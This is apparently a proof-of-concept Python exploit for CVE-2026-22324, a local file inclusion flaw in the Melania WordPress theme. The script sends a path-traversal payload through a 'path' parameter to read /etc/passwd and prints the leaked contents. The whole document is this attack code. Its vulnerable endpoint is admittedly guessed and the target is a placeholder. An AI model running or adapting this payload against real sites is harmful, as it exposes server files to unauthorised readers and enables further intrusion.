CVE-2026-22324

import requests def exploit_lfi(target_url): """ PoC for CVE-2026-22324: Local File Inclusion in Melania Theme. This script attempts to read the /etc/passwd file. """ # The vulnerable endpoint might vary, this is a common pattern in WP themes # e.g., http://target/wp-content/themes/melania/inc/custom.php?file=... vuln_param = "path" payload = "../../../etc/passwd" full_url = f"{target_url}?{vuln_param}={payload}" try: response = requests.get(full_url, timeout=10) if response.status_code == 200 and "root:" in response.text: print(f"[+] Exploit Successful! LFI detected at {target_url}") print(f"[+] Response snippet:\n{response.text[:200]}") return True else: print(f"[-] Exploit Failed or target patched.") return False except Exception as e: print(f"[!] Error occurred: {e}") return False if __name__ == "__main__": target = "http://example.com/wp-content/themes/melania/vulnerable_endpoint.php" exploit_lfi(target)

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